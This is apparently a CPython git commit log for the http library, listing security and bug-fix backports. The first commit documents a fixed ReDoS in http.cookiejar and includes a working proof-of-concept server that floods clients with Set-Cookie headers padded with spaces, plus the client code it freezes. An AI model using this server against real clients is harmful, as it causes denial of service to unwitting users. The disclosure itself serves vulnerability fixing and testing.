delta/cpython-git.git/Lib/http, branch fix-misc-acks

bpo-38804: Fix REDoS in http.cookiejar (GH-17157)

2019-11-22T14:42:13+00:00

The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  GH- Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  GH- Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  GH- Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  GH- Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)

Co-authored-by: bcaller

[3.7] bpo-38216, bpo-36274: Allow subclasses to separately override validation and encoding behavior (GH-16448) (GH-16461)

2019-09-28T13:15:05+00:00

* bpo-38216: Allow bypassing input validation

* bpo-36274: Also allow the URL encoding to be overridden.

* bpo-38216, bpo-36274: Add tests demonstrating a hook for overriding validation, test demonstrating override encoding, and a test to capture expectation of the interface for the URL.

* Call with skip_host to avoid tripping on the host checking in the URL.

* Remove obsolete comment.

* Make _prepare_path_encoding its own attr.

This makes overriding just that simpler.

Also, don't use the := operator to make backporting easier.

* Add a news entry.

* _prepare_path_encoding -> _encode_prepared_path()

* Once again separate the path validation and request encoding, drastically simplifying the behavior. Drop the guarantee that all processing happens in _prepare_path..
(cherry picked from commit 7774d7831e8809795c64ce27f7df52674581d298)

Co-authored-by: Jason R. Coombs

[3.7] bpo-12144: Handle cookies with expires attribute in CookieJar.make_cookies (GH-13921) (GH-16092)

2019-09-13T12:22:12+00:00

* [3.7] bpo-12144: Handle cookies with expires attribute in CookieJar.make_cookies (GH-13921)

Handle time comparison for cookies with `expires` attribute when `CookieJar.make_cookies` is called.

Co-authored-by: Demian Brecht 

https://bugs.python.org/issue12144

Automerge-Triggered-By: @asvetlov
(cherry picked from commit bb41147)

Co-authored-by: Xtreak 

* Use warnings module instead of test.support.check_no_warnings

* [3.7] bpo-12144: Handle cookies with expires attribute in CookieJar.make_cookies (GH-13921)

Handle time comparison for cookies with `expires` attribute when `CookieJar.make_cookies` is called.

Co-authored-by: Demian Brecht 

https://bugs.python.org/issue12144

Automerge-Triggered-By: @asvetlov.
(cherry picked from commit bb41147eab15a2958f4ad38261e5bf608f6ace1b)

Co-authored-by: Xtreak

Correct description of HTTP status code 308. (GH-15097)

2019-08-03T18:40:09+00:00

Permanent redirect was explained as a temporary redirect.
(cherry picked from commit 5c72badd06a962fe0018ceb9916f3ae66314ea8e)

Co-authored-by: Florian Wendelborn <1133858+FlorianWendelborn@users.noreply.github.com>

[3.7] bpo-37440: Enable TLS 1.3 post-handshake auth in http.client (GH-14448) (GH-14496)

2019-07-01T07:07:52+00:00

Post-handshake authentication is required for conditional client cert authentication with TLS 1.3.


https://bugs.python.org/issue37440
(cherry picked from commit d1bd6e79da1ee56dc1b902d804216ffd267399db)


Co-authored-by: Christian Heimes 


https://bugs.python.org/issue37440

bpo-30458: Disallow control chars in http URLs. (GH-12755) (GH-13154)

2019-05-07T15:28:47+00:00

Disallow control chars in http URLs in urllib.urlopen.  This addresses a potential security problem for applications that do not sanity check their URLs where http request headers could be injected.

Disable https related urllib tests on a build without ssl (GH-13032)
These tests require an SSL enabled build. Skip these tests when python is built without SSL to fix test failures.

Use http.client.InvalidURL instead of ValueError as the new error case's exception. (GH-13044)

Backport Co-Authored-By: Miro Hrončok

bpo-36522: Print all values for headers with multiple values. (GH-12681) (GH-12682)

2019-04-04T08:25:59+00:00

(cherry picked from commit 461c416dd78a98f2bba7f323af8c9738e060b6f2)

Co-authored-by: Matt Houglum

bpo-35647: Fix path check in cookiejar (GH-11436)

2019-03-10T17:30:35+00:00

* Refactor cookie path check as per RFC 6265

* Add tests for prefix match of path

* Add news entry

* Fix set_ok_path and refactor tests

* Use slice for last letter
(cherry picked from commit 0e1f1f01058bd4a9b98cfe443214adecc019a38c)

Co-authored-by: Xtreak

bpo-35121: prefix dot in domain for proper subdomain validation (GH-10258) (GH-12261)

2019-03-10T02:58:25+00:00

Don't send cookies of domain A without Domain attribute to domain B when domain A is a suffix match of domain B while using a cookiejar with `http.cookiejar.DefaultCookiePolicy` policy.  Patch by Karthikeyan Singaravelan.
(cherry picked from commit ca7fe5063593958e5efdf90f068582837f07bd14)

Co-authored-by: Xtreak

bpo-33365: print the header values beside the keys (GH-6611)

2018-06-19T13:52:36+00:00

with debuglevel=1 only the header keys got printed. With
this change the header values get printed as well and the single
header entries get '\n' as a separator.
(cherry picked from commit 936f03e7fafc28fd6fdfba11d162c776b89c0167)

Co-authored-by: Marco Strigl